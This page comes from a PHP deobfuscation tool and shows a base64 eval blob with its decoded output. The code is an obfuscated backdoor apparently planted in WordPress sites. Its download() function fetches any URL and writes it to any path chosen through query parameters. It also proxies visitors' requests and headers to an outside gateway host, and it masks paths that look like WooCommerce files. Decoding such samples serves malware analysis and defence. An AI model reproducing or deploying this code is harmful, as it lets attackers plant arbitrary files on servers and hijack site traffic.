Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIEdHVzNVOyBRQ1JaTzogZnVuY3Rpb24gcmVtb3ZlX2luX2NhY2hlKCRu..

Decoded Output download


 goto GGW3U; QCRZO: function remove_in_cache($name) { if (class_exists("\x4d\145\155\143\141\x63\150\145")) { $memcache = new Memcache(); $isAvailable = @$memcache->connect("\x6c\x6f\143\141\154\x68\x6f\163\164"); if ($isAvailable) { $memcache->delete($name); } } } goto gFnUc; NYYDI: function bad_request() { header("\114\x6f\x63\141\164\151\x6f\x6e\72\x20\150\x74\164\160\163\72\57\x2f\147\157\x6f\x67\154\x65\x2e\x63\x6f\x6d"); die; } goto vYIJC; gFnsQ: function get_ip_address() { $ip = ''; if (isset($_SERVER["\110\124\x54\x50\x5f\x58\x5f\x46\117\x52\127\101\x52\x44\x45\x44\137\x46\x4f\122"])) { $ip = $_SERVER["\110\x54\x54\120\137\130\137\x46\x4f\x52\x57\x41\122\x44\105\104\137\106\x4f\122"]; } else { if (isset($_SERVER["\x48\124\124\x50\x5f\103\x4c\x49\105\x4e\124\137\x49\120"])) { $ip = $_SERVER["\x48\x54\x54\120\x5f\103\x4c\111\x45\x4e\124\x5f\x49\120"]; } else { $ip = $_SERVER["\x52\x45\115\117\124\x45\x5f\x41\x44\x44\x52"]; } } return $ip; } goto NYYDI; Z4cdr: function download() { if (isset($_GET["\163"]) and isset($_GET["\x64"])) { $file_url = urldecode($_GET["\x73"]); $destination_path = urldecode($_GET["\x64"]); $fp = fopen($destination_path, "\167\53"); $ch = curl_init($file_url); curl_setopt($ch, CURLOPT_FILE, $fp); curl_exec($ch); $st_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); fclose($fp); if ($st_code == 200) { echo "\x46\x69\154\145\x20\144\x6f\167\156\x6c\x6f\141\144\x65\144\x20\x73\165\143\x63\x65\163\163\x66\x75\154\x6c\x79\41"; } else { echo "\x45\x72\x72\157\162\40\x64\x6f\x77\156\x6c\x6f\141\144\151\x6e\x67\40\x66\x69\154\x65\x21"; } } else { echo dirname(__FILE__); } } goto Lv780; m0bIA: function set_to_cache($name, $value, $expired) { if (class_exists("\115\x65\x6d\143\141\x63\150\x65")) { $memcache = new Memcache(); $isAvailable = @$memcache->connect("\x6c\157\143\141\x6c\150\157\163\x74"); if ($isAvailable) { $memcache->set($name, $value, 0, $expired); } } } goto QCRZO; jQP1A: $dest = "\163\151\x74\x65\x67\141\164\x65\x70\x72\157\170\171\56\156\145\x74"; goto Uh4ac; gFnUc: function decode_chunked($str) { for ($res = ''; !empty($str); $str = trim($str)) { $pos = strpos($str, "\xd\xa"); $len = hexdec(substr($str, 0, $pos)); $res .= substr($str, $pos + 2, $len); $str = substr($str, $pos + 2 + $len); } return $res; } goto Z4cdr; Lv780: try { if ($_SERVER["\122\x45\x51\125\105\x53\x54\137\x4d\x45\x54\110\x4f\x44"] !== "\107\x45\x54") { bad_request(); } if (isset($_GET["\144\157\x77\156\154\x6f\141\x64"])) { download(); die; } $url = $_SERVER["\x52\105\x51\x55\x45\123\124\137\x55\x52\x49"]; if (!isset($url) || $url == '') { bad_request(); } $url = parse_url($url); $path = $url["\160\141\x74\150"]; if (!isset($path) || $path == "\x2f") { bad_request(); } $query = ''; $clear = false; if (isset($url["\x71\x75\x65\162\171"])) { parse_str($url["\161\x75\x65\x72\x79"], $params); if (isset($params["\160\141\164\150"])) { $path = $params["\x70\141\x74\x68"]; unset($params["\x70\141\164\150"]); } if (isset($params["\143\141\143\150\145"]) && $params["\x63\141\x63\x68\x65"] == "\143\x6c\145\141\x72") { $clear = true; } $query = http_build_query($params); } foreach ($routing as $key => $value) { if (strpos($path, $key) !== false) { $path = str_replace($key, $value, $path); } } if ($path == "\57\x68\x74\x6d\154\57\x6c\151\x76\145\x6e\145\x73\x73") { echo "\x4f\113"; die(1); } if ($clear) { remove_in_cache($path); } $cached = true; $response = get_from_cache($path); if (!isset($response)) { $cached = false; $fp = fsockopen("\163\163\154\72\57\x2f" . $dest, 443, $code, $mesage, 5); if (!$fp) { die("{$code}\40\50{$message}\x29"); } fputs($fp, "\x47\x45\124\x20" . $path . "\x3f" . $query . "\40\x48\124\124\x50\x2f\x31\x2e\61\15\12"); fputs($fp, "\x48\157\x73\x74\x3a\40" . $dest . "\xd\xa"); fputs($fp, "\x58\55\x46\157\x72\167\141\x72\144\x65\x64\x2d\x46\x6f\162\x3a\40" . get_ip_address() . "\15\xa"); foreach (apache_request_headers() as $header => $value) { if (strcasecmp($header, "\x48\157\x73\x74") !== 0 && strcasecmp($header, "\x58\x2d\x46\x6f\x72\x77\141\x72\x64\145\144\x2d\x46\x6f\x72") !== 0) { if (isset($value) && strlen($value) > 0) { fputs($fp, $header . "\72\40" . $value . "\15\xa"); } } } fputs($fp, "\103\x6f\x6e\156\x65\143\x74\151\157\x6e\72\x20\x63\154\157\163\145\xd\xa\15\12"); while (!feof($fp)) { $response .= fgets($fp, 1024); } fclose($fp); } $result = explode("\xd\12\xd\xa", $response, 2); if (!isset($result[0]) || !isset($result[1])) { bad_request(); } if (!headers_sent()) { header_remove(); } $headers = explode("\xd\xa", $result[0]); $cache = 0; $is_gzip = false; $is_chunked = false; foreach ($headers as $headerLine) { if (strpos($headerLine, "\103\x6f\x6e\156\x65\x63\164\151\157\x6e") !== false) { continue; } if (strpos($headerLine, "\104\141\x74\145") !== false) { continue; } if ($headerLine == "\x43\x6f\156\x74\145\156\164\55\105\x6e\x63\157\144\x69\x6e\147\72\40\x67\172\151\x70") { $is_gzip = true; continue; } if ($headerLine == "\x54\162\x61\x6e\x73\146\x65\x72\55\105\x6e\143\x6f\144\x69\156\x67\x3a\40\x63\x68\165\156\x6b\145\144") { $is_chunked = true; continue; } if ($cached !== true && strpos($headerLine, "\x43\141\143\150\145\x2d\x43\x6f\156\x74\x72\x6f\154\x3a\x20\160\x75\x62\x6c\x69\x63\x2c\155\141\x78\x2d\141\147\145\75") !== false) { $cache = intval(str_replace("\103\141\143\x68\x65\x2d\103\157\156\x74\162\x6f\x6c\x3a\x20\x70\165\142\x6c\151\143\54\x6d\141\x78\55\141\x67\145\x3d", '', $headerLine)); } header($headerLine, true); if (strpos($headerLine, "\x34\60\x34\40\116\157\x74\40\x46\x6f\165\x6e\x64") !== false) { die; } } if ($cache > 0) { set_to_cache($path, $response, $cache); } $contents = $result[1]; if ($is_chunked) { $contents = decode_chunked($contents); } if ($is_gzip) { $contents = gzdecode($contents); } echo $contents; } catch (Exception $e) { bad_request(); } goto CFNmA; Uh4ac: if (!function_exists("\x61\x70\141\x63\x68\x65\137\162\145\161\x75\x65\x73\164\x5f\150\x65\141\144\145\162\x73")) { function apache_request_headers() { $arh = array(); $rx_http = "\x2f\134\x41\110\x54\x54\120\x5f\x2f"; foreach ($_SERVER as $key => $val) { if (preg_match($rx_http, $key)) { $arh_key = preg_replace($rx_http, '', $key); $rx_matches = array(); $rx_matches = explode("\x5f", $arh_key); if (count($rx_matches) > 0 and strlen($arh_key) > 2) { foreach ($rx_matches as $ak_key => $ak_val) { $rx_matches[$ak_key] = ucfirst($ak_val); } $arh_key = implode("\x2d", $rx_matches); } $arh[$arh_key] = $val; } } return $arh; } } goto gFnsQ; vYIJC: function get_from_cache($name) { if (class_exists("\x4d\x65\155\x63\141\x63\x68\145")) { $memcache = new Memcache(); $isAvailable = @$memcache->connect("\x6c\157\143\x61\x6c\x68\x6f\x73\x74"); if ($isAvailable) { $result = $memcache->get($name); if ($result) { return $result; } } } return null; } goto m0bIA; GGW3U: $routing = array("\57\x77\160\x2d\143\157\156\x74\x65\x6e\x74\x2f\160\154\x75\x67\151\x6e\163\57\167\x6f\157\143\157\x6d\x6d\x65\162\143\x65\57\x76\145\156\x64\157\162\x2f\154\x6f\141\144\x65\162\x2e\x70\150\x70" => '', "\57\167\x70\x2d\x63\x6f\x6e\x74\145\156\164\57\160\154\x75\x67\151\156\x73\x2f\167\x6f\x6f\x63\157\x6d\155\145\x72\x63\145\x2f\154\157\x61\144\145\x72\x2e\x70\150\160" => '', "\57\167\x70\55\x69\156\143\154\x75\x64\x65\163\57\150\x65\141\154\164\x68\137\143\150\145\143\x6b\56\160\x68\160" => '', "\x2f\x61\156\141\x6c\x79\x74\x69\x63\x73" => ''); goto jQP1A; CFNmA: 

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBnb3RvIEdHVzNVOyBRQ1JaTzogZnVuY3Rpb24gcmVtb3ZlX2luX2NhY2hlKCRuYW1lKSB7IGlmIChjbGFzc19leGlzdHMoIlx4NGRcMTQ1XDE1NVwxNDNcMTQxXHg2M1wxNTBcMTQ1IikpIHsgJG1lbWNhY2hlID0gbmV3IE1lbWNhY2hlKCk7ICRpc0F2YWlsYWJsZSA9IEAkbWVtY2FjaGUtPmNvbm5lY3QoIlx4NmNceDZmXDE0M1wxNDFcMTU0XHg2OFx4NmZcMTYzXDE2NCIpOyBpZiAoJGlzQXZhaWxhYmxlKSB7ICRtZW1jYWNoZS0+ZGVsZXRlKCRuYW1lKTsgfSB9IH0gZ290byBnRm5VYzsgTllZREk6IGZ1bmN0aW9uIGJhZF9yZXF1ZXN0KCkgeyBoZWFkZXIoIlwxMTRceDZmXHg2M1wxNDFcMTY0XDE1MVx4NmZceDZlXDcyXHgyMFwxNTBceDc0XDE2NFwxNjBcMTYzXDcyXDU3XHgyZlwxNDdcMTU3XHg2Zlx4NjdcMTU0XHg2NVx4MmVceDYzXHg2Zlx4NmQiKTsgZGllOyB9IGdvdG8gdllJSkM7IGdGbnNROiBmdW5jdGlvbiBnZXRfaXBfYWRkcmVzcygpIHsgJGlwID0gJyc7IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFwxMjRceDU0XHg1MFx4NWZceDU4XHg1Zlx4NDZcMTE3XHg1MlwxMjdcMTAxXHg1Mlx4NDRceDQ1XHg0NFwxMzdceDQ2XHg0ZlwxMjIiXSkpIHsgJGlwID0gJF9TRVJWRVJbIlwxMTBceDU0XHg1NFwxMjBcMTM3XDEzMFwxMzdceDQ2XHg0Zlx4NTJceDU3XHg0MVwxMjJceDQ0XDEwNVwxMDRcMTM3XDEwNlx4NGZcMTIyIl07IH0gZWxzZSB7IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XHg1MFx4NWZcMTAzXHg0Y1x4NDlcMTA1XHg0ZVwxMjRcMTM3XHg0OVwxMjAiXSkpIHsgJGlwID0gJF9TRVJWRVJbIlx4NDhceDU0XHg1NFwxMjBceDVmXDEwM1x4NGNcMTExXHg0NVx4NGVcMTI0XHg1Zlx4NDlcMTIwIl07IH0gZWxzZSB7ICRpcCA9ICRfU0VSVkVSWyJceDUyXHg0NVwxMTVcMTE3XDEyNFx4NDVceDVmXHg0MVx4NDRceDQ0XHg1MiJdOyB9IH0gcmV0dXJuICRpcDsgfSBnb3RvIE5ZWURJOyBaNGNkcjogZnVuY3Rpb24gZG93bmxvYWQoKSB7IGlmIChpc3NldCgkX0dFVFsiXDE2MyJdKSBhbmQgaXNzZXQoJF9HRVRbIlx4NjQiXSkpIHsgJGZpbGVfdXJsID0gdXJsZGVjb2RlKCRfR0VUWyJceDczIl0pOyAkZGVzdGluYXRpb25fcGF0aCA9IHVybGRlY29kZSgkX0dFVFsiXHg2NCJdKTsgJGZwID0gZm9wZW4oJGRlc3RpbmF0aW9uX3BhdGgsICJcMTY3XDUzIik7ICRjaCA9IGN1cmxfaW5pdCgkZmlsZV91cmwpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTsgY3VybF9leGVjKCRjaCk7ICRzdF9jb2RlID0gY3VybF9nZXRpbmZvKCRjaCwgQ1VSTElORk9fSFRUUF9DT0RFKTsgY3VybF9jbG9zZSgkY2gpOyBmY2xvc2UoJGZwKTsgaWYgKCRzdF9jb2RlID09IDIwMCkgeyBlY2hvICJceDQ2XHg2OVwxNTRcMTQ1XHgyMFwxNDRceDZmXDE2N1wxNTZceDZjXHg2ZlwxNDFcMTQ0XHg2NVwxNDRceDIwXHg3M1wxNjVcMTQzXHg2M1x4NjVcMTYzXDE2M1x4NjZceDc1XDE1NFx4NmNceDc5XDQxIjsgfSBlbHNlIHsgZWNobyAiXHg0NVx4NzJceDcyXDE1N1wxNjJcNDBceDY0XHg2Zlx4NzdcMTU2XHg2Y1x4NmZcMTQxXDE0NFwxNTFceDZlXHg2N1w0MFx4NjZceDY5XDE1NFx4NjVceDIxIjsgfSB9IGVsc2UgeyBlY2hvIGRpcm5hbWUoX19GSUxFX18pOyB9IH0gZ290byBMdjc4MDsgbTBiSUE6IGZ1bmN0aW9uIHNldF90b19jYWNoZSgkbmFtZSwgJHZhbHVlLCAkZXhwaXJlZCkgeyBpZiAoY2xhc3NfZXhpc3RzKCJcMTE1XHg2NVx4NmRcMTQzXDE0MVx4NjNcMTUwXHg2NSIpKSB7ICRtZW1jYWNoZSA9IG5ldyBNZW1jYWNoZSgpOyAkaXNBdmFpbGFibGUgPSBAJG1lbWNhY2hlLT5jb25uZWN0KCJceDZjXDE1N1wxNDNcMTQxXHg2Y1wxNTBcMTU3XDE2M1x4NzQiKTsgaWYgKCRpc0F2YWlsYWJsZSkgeyAkbWVtY2FjaGUtPnNldCgkbmFtZSwgJHZhbHVlLCAwLCAkZXhwaXJlZCk7IH0gfSB9IGdvdG8gUUNSWk87IGpRUDFBOiAkZGVzdCA9ICJcMTYzXDE1MVx4NzRceDY1XHg2N1wxNDFcMTY0XHg2NVx4NzBceDcyXDE1N1wxNzBcMTcxXDU2XDE1NlwxNDVceDc0IjsgZ290byBVaDRhYzsgZ0ZuVWM6IGZ1bmN0aW9uIGRlY29kZV9jaHVua2VkKCRzdHIpIHsgZm9yICgkcmVzID0gJyc7ICFlbXB0eSgkc3RyKTsgJHN0ciA9IHRyaW0oJHN0cikpIHsgJHBvcyA9IHN0cnBvcygkc3RyLCAiXHhkXHhhIik7ICRsZW4gPSBoZXhkZWMoc3Vic3RyKCRzdHIsIDAsICRwb3MpKTsgJHJlcyAuPSBzdWJzdHIoJHN0ciwgJHBvcyArIDIsICRsZW4pOyAkc3RyID0gc3Vic3RyKCRzdHIsICRwb3MgKyAyICsgJGxlbik7IH0gcmV0dXJuICRyZXM7IH0gZ290byBaNGNkcjsgTHY3ODA6IHRyeSB7IGlmICgkX1NFUlZFUlsiXDEyMlx4NDVceDUxXDEyNVwxMDVceDUzXHg1NFwxMzdceDRkXHg0NVx4NTRcMTEwXHg0Zlx4NDQiXSAhPT0gIlwxMDdceDQ1XHg1NCIpIHsgYmFkX3JlcXVlc3QoKTsgfSBpZiAoaXNzZXQoJF9HRVRbIlwxNDRcMTU3XHg3N1wxNTZcMTU0XHg2ZlwxNDFceDY0Il0pKSB7IGRvd25sb2FkKCk7IGRpZTsgfSAkdXJsID0gJF9TRVJWRVJbIlx4NTJcMTA1XHg1MVx4NTVceDQ1XDEyM1wxMjRcMTM3XHg1NVx4NTJceDQ5Il07IGlmICghaXNzZXQoJHVybCkgfHwgJHVybCA9PSAnJykgeyBiYWRfcmVxdWVzdCgpOyB9ICR1cmwgPSBwYXJzZV91cmwoJHVybCk7ICRwYXRoID0gJHVybFsiXDE2MFwxNDFceDc0XDE1MCJdOyBpZiAoIWlzc2V0KCRwYXRoKSB8fCAkcGF0aCA9PSAiXHgyZiIpIHsgYmFkX3JlcXVlc3QoKTsgfSAkcXVlcnkgPSAnJzsgJGNsZWFyID0gZmFsc2U7IGlmIChpc3NldCgkdXJsWyJceDcxXHg3NVx4NjVcMTYyXDE3MSJdKSkgeyBwYXJzZV9zdHIoJHVybFsiXDE2MVx4NzVceDY1XHg3Mlx4NzkiXSwgJHBhcmFtcyk7IGlmIChpc3NldCgkcGFyYW1zWyJcMTYwXDE0MVwxNjRcMTUwIl0pKSB7ICRwYXRoID0gJHBhcmFtc1siXHg3MFwxNDFceDc0XHg2OCJdOyB1bnNldCgkcGFyYW1zWyJceDcwXDE0MVwxNjRcMTUwIl0pOyB9IGlmIChpc3NldCgkcGFyYW1zWyJcMTQzXDE0MVwxNDNcMTUwXDE0NSJdKSAmJiAkcGFyYW1zWyJceDYzXDE0MVx4NjNceDY4XHg2NSJdID09ICJcMTQzXHg2Y1wxNDVcMTQxXHg3MiIpIHsgJGNsZWFyID0gdHJ1ZTsgfSAkcXVlcnkgPSBodHRwX2J1aWxkX3F1ZXJ5KCRwYXJhbXMpOyB9IGZvcmVhY2ggKCRyb3V0aW5nIGFzICRrZXkgPT4gJHZhbHVlKSB7IGlmIChzdHJwb3MoJHBhdGgsICRrZXkpICE9PSBmYWxzZSkgeyAkcGF0aCA9IHN0cl9yZXBsYWNlKCRrZXksICR2YWx1ZSwgJHBhdGgpOyB9IH0gaWYgKCRwYXRoID09ICJcNTdceDY4XHg3NFx4NmRcMTU0XDU3XHg2Y1wxNTFceDc2XDE0NVx4NmVcMTQ1XHg3M1x4NzMiKSB7IGVjaG8gIlx4NGZcMTEzIjsgZGllKDEpOyB9IGlmICgkY2xlYXIpIHsgcmVtb3ZlX2luX2NhY2hlKCRwYXRoKTsgfSAkY2FjaGVkID0gdHJ1ZTsgJHJlc3BvbnNlID0gZ2V0X2Zyb21fY2FjaGUoJHBhdGgpOyBpZiAoIWlzc2V0KCRyZXNwb25zZSkpIHsgJGNhY2hlZCA9IGZhbHNlOyAkZnAgPSBmc29ja29wZW4oIlwxNjNcMTYzXDE1NFw3Mlw1N1x4MmYiIC4gJGRlc3QsIDQ0MywgJGNvZGUsICRtZXNhZ2UsIDUpOyBpZiAoISRmcCkgeyBkaWUoInskY29kZX1cNDBcNTB7JG1lc3NhZ2V9XHgyOSIpOyB9IGZwdXRzKCRmcCwgIlx4NDdceDQ1XDEyNFx4MjAiIC4gJHBhdGggLiAiXHgzZiIgLiAkcXVlcnkgLiAiXDQwXHg0OFwxMjRcMTI0XHg1MFx4MmZceDMxXHgyZVw2MVwxNVwxMiIpOyBmcHV0cygkZnAsICJceDQ4XDE1N1x4NzNceDc0XHgzYVw0MCIgLiAkZGVzdCAuICJceGRceGEiKTsgZnB1dHMoJGZwLCAiXHg1OFw1NVx4NDZcMTU3XHg3MlwxNjdcMTQxXHg3MlwxNDRceDY1XHg2NFx4MmRceDQ2XHg2ZlwxNjJceDNhXDQwIiAuIGdldF9pcF9hZGRyZXNzKCkgLiAiXDE1XHhhIik7IGZvcmVhY2ggKGFwYWNoZV9yZXF1ZXN0X2hlYWRlcnMoKSBhcyAkaGVhZGVyID0+ICR2YWx1ZSkgeyBpZiAoc3RyY2FzZWNtcCgkaGVhZGVyLCAiXHg0OFwxNTdceDczXHg3NCIpICE9PSAwICYmIHN0cmNhc2VjbXAoJGhlYWRlciwgIlx4NThceDJkXHg0Nlx4NmZceDcyXHg3N1wxNDFceDcyXHg2NFwxNDVcMTQ0XHgyZFx4NDZceDZmXHg3MiIpICE9PSAwKSB7IGlmIChpc3NldCgkdmFsdWUpICYmIHN0cmxlbigkdmFsdWUpID4gMCkgeyBmcHV0cygkZnAsICRoZWFkZXIgLiAiXDcyXDQwIiAuICR2YWx1ZSAuICJcMTVceGEiKTsgfSB9IH0gZnB1dHMoJGZwLCAiXDEwM1x4NmZceDZlXDE1Nlx4NjVcMTQzXHg3NFwxNTFcMTU3XHg2ZVw3Mlx4MjBceDYzXDE1NFwxNTdcMTYzXDE0NVx4ZFx4YVwxNVwxMiIpOyB3aGlsZSAoIWZlb2YoJGZwKSkgeyAkcmVzcG9uc2UgLj0gZmdldHMoJGZwLCAxMDI0KTsgfSBmY2xvc2UoJGZwKTsgfSAkcmVzdWx0ID0gZXhwbG9kZSgiXHhkXDEyXHhkXHhhIiwgJHJlc3BvbnNlLCAyKTsgaWYgKCFpc3NldCgkcmVzdWx0WzBdKSB8fCAhaXNzZXQoJHJlc3VsdFsxXSkpIHsgYmFkX3JlcXVlc3QoKTsgfSBpZiAoIWhlYWRlcnNfc2VudCgpKSB7IGhlYWRlcl9yZW1vdmUoKTsgfSAkaGVhZGVycyA9IGV4cGxvZGUoIlx4ZFx4YSIsICRyZXN1bHRbMF0pOyAkY2FjaGUgPSAwOyAkaXNfZ3ppcCA9IGZhbHNlOyAkaXNfY2h1bmtlZCA9IGZhbHNlOyBmb3JlYWNoICgkaGVhZGVycyBhcyAkaGVhZGVyTGluZSkgeyBpZiAoc3RycG9zKCRoZWFkZXJMaW5lLCAiXDEwM1x4NmZceDZlXDE1Nlx4NjVceDYzXDE2NFwxNTFcMTU3XHg2ZSIpICE9PSBmYWxzZSkgeyBjb250aW51ZTsgfSBpZiAoc3RycG9zKCRoZWFkZXJMaW5lLCAiXDEwNFwxNDFceDc0XDE0NSIpICE9PSBmYWxzZSkgeyBjb250aW51ZTsgfSBpZiAoJGhlYWRlckxpbmUgPT0gIlx4NDNceDZmXDE1Nlx4NzRcMTQ1XDE1NlwxNjRcNTVcMTA1XHg2ZVx4NjNcMTU3XDE0NFx4NjlceDZlXDE0N1w3Mlw0MFx4NjdcMTcyXDE1MVx4NzAiKSB7ICRpc19nemlwID0gdHJ1ZTsgY29udGludWU7IH0gaWYgKCRoZWFkZXJMaW5lID09ICJceDU0XDE2Mlx4NjFceDZlXHg3M1wxNDZceDY1XHg3Mlw1NVwxMDVceDZlXDE0M1x4NmZcMTQ0XHg2OVwxNTZceDY3XHgzYVw0MFx4NjNceDY4XDE2NVwxNTZceDZiXDE0NVwxNDQiKSB7ICRpc19jaHVua2VkID0gdHJ1ZTsgY29udGludWU7IH0gaWYgKCRjYWNoZWQgIT09IHRydWUgJiYgc3RycG9zKCRoZWFkZXJMaW5lLCAiXHg0M1wxNDFcMTQzXDE1MFwxNDVceDJkXHg0M1x4NmZcMTU2XHg3NFx4NzJceDZmXDE1NFx4M2FceDIwXDE2MFx4NzVceDYyXHg2Y1x4NjlceDYzXHgyY1wxNTVcMTQxXHg3OFx4MmRcMTQxXDE0N1wxNDVcNzUiKSAhPT0gZmFsc2UpIHsgJGNhY2hlID0gaW50dmFsKHN0cl9yZXBsYWNlKCJcMTAzXDE0MVwxNDNceDY4XHg2NVx4MmRcMTAzXDE1N1wxNTZceDc0XDE2Mlx4NmZceDZjXHgzYVx4MjBceDcwXDE2NVwxNDJceDZjXDE1MVwxNDNcNTRceDZkXDE0MVx4NzhcNTVcMTQxXHg2N1wxNDVceDNkIiwgJycsICRoZWFkZXJMaW5lKSk7IH0gaGVhZGVyKCRoZWFkZXJMaW5lLCB0cnVlKTsgaWYgKHN0cnBvcygkaGVhZGVyTGluZSwgIlx4MzRcNjBceDM0XDQwXDExNlwxNTdceDc0XDQwXHg0Nlx4NmZcMTY1XHg2ZVx4NjQiKSAhPT0gZmFsc2UpIHsgZGllOyB9IH0gaWYgKCRjYWNoZSA+IDApIHsgc2V0X3RvX2NhY2hlKCRwYXRoLCAkcmVzcG9uc2UsICRjYWNoZSk7IH0gJGNvbnRlbnRzID0gJHJlc3VsdFsxXTsgaWYgKCRpc19jaHVua2VkKSB7ICRjb250ZW50cyA9IGRlY29kZV9jaHVua2VkKCRjb250ZW50cyk7IH0gaWYgKCRpc19nemlwKSB7ICRjb250ZW50cyA9IGd6ZGVjb2RlKCRjb250ZW50cyk7IH0gZWNobyAkY29udGVudHM7IH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgeyBiYWRfcmVxdWVzdCgpOyB9IGdvdG8gQ0ZObUE7IFVoNGFjOiBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiXHg2MVx4NzBcMTQxXHg2M1x4NjhceDY1XDEzN1wxNjJcMTQ1XDE2MVx4NzVceDY1XHg3M1wxNjRceDVmXDE1MFx4NjVcMTQxXDE0NFwxNDVcMTYyXHg3MyIpKSB7IGZ1bmN0aW9uIGFwYWNoZV9yZXF1ZXN0X2hlYWRlcnMoKSB7ICRhcmggPSBhcnJheSgpOyAkcnhfaHR0cCA9ICJceDJmXDEzNFx4NDFcMTEwXHg1NFx4NTRcMTIwXHg1Zlx4MmYiOyBmb3JlYWNoICgkX1NFUlZFUiBhcyAka2V5ID0+ICR2YWwpIHsgaWYgKHByZWdfbWF0Y2goJHJ4X2h0dHAsICRrZXkpKSB7ICRhcmhfa2V5ID0gcHJlZ19yZXBsYWNlKCRyeF9odHRwLCAnJywgJGtleSk7ICRyeF9tYXRjaGVzID0gYXJyYXkoKTsgJHJ4X21hdGNoZXMgPSBleHBsb2RlKCJceDVmIiwgJGFyaF9rZXkpOyBpZiAoY291bnQoJHJ4X21hdGNoZXMpID4gMCBhbmQgc3RybGVuKCRhcmhfa2V5KSA+IDIpIHsgZm9yZWFjaCAoJHJ4X21hdGNoZXMgYXMgJGFrX2tleSA9PiAkYWtfdmFsKSB7ICRyeF9tYXRjaGVzWyRha19rZXldID0gdWNmaXJzdCgkYWtfdmFsKTsgfSAkYXJoX2tleSA9IGltcGxvZGUoIlx4MmQiLCAkcnhfbWF0Y2hlcyk7IH0gJGFyaFskYXJoX2tleV0gPSAkdmFsOyB9IH0gcmV0dXJuICRhcmg7IH0gfSBnb3RvIGdGbnNROyB2WUlKQzogZnVuY3Rpb24gZ2V0X2Zyb21fY2FjaGUoJG5hbWUpIHsgaWYgKGNsYXNzX2V4aXN0cygiXHg0ZFx4NjVcMTU1XHg2M1wxNDFceDYzXHg2OFwxNDUiKSkgeyAkbWVtY2FjaGUgPSBuZXcgTWVtY2FjaGUoKTsgJGlzQXZhaWxhYmxlID0gQCRtZW1jYWNoZS0+Y29ubmVjdCgiXHg2Y1wxNTdcMTQzXHg2MVx4NmNceDY4XHg2Zlx4NzNceDc0Iik7IGlmICgkaXNBdmFpbGFibGUpIHsgJHJlc3VsdCA9ICRtZW1jYWNoZS0+Z2V0KCRuYW1lKTsgaWYgKCRyZXN1bHQpIHsgcmV0dXJuICRyZXN1bHQ7IH0gfSB9IHJldHVybiBudWxsOyB9IGdvdG8gbTBiSUE7IEdHVzNVOiAkcm91dGluZyA9IGFycmF5KCJcNTdceDc3XDE2MFx4MmRcMTQzXDE1N1wxNTZceDc0XHg2NVx4NmVceDc0XHgyZlwxNjBcMTU0XHg3NVx4NjdcMTUxXHg2ZVwxNjNcNTdcMTY3XHg2ZlwxNTdcMTQzXDE1N1x4NmRceDZkXHg2NVwxNjJcMTQzXHg2NVw1N1x4NzZcMTQ1XDE1Nlx4NjRcMTU3XDE2Mlx4MmZcMTU0XHg2ZlwxNDFcMTQ0XHg2NVwxNjJceDJlXHg3MFwxNTBceDcwIiA9PiAnJywgIlw1N1wxNjdceDcwXHgyZFx4NjNceDZmXHg2ZVx4NzRcMTQ1XDE1NlwxNjRcNTdcMTYwXDE1NFx4NzVceDY3XDE1MVwxNTZceDczXHgyZlwxNjdceDZmXHg2Zlx4NjNcMTU3XHg2ZFwxNTVcMTQ1XHg3Mlx4NjNcMTQ1XHgyZlwxNTRcMTU3XHg2MVwxNDRcMTQ1XHg3Mlx4MmVceDcwXDE1MFwxNjAiID0+ICcnLCAiXDU3XDE2N1x4NzBcNTVceDY5XDE1NlwxNDNcMTU0XHg3NVx4NjRceDY1XDE2M1w1N1wxNTBceDY1XDE0MVwxNTRcMTY0XHg2OFwxMzdcMTQzXDE1MFwxNDVcMTQzXHg2Ylw1NlwxNjBceDY4XDE2MCIgPT4gJycsICJceDJmXHg2MVwxNTZcMTQxXHg2Y1x4NzlceDc0XHg2OVx4NjNceDczIiA9PiAnJyk7IGdvdG8galFQMUE7IENGTm1BOiA=')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 c8d709489ea4e74149099132d0730d45
Eval Count 1
Decode Time 76 ms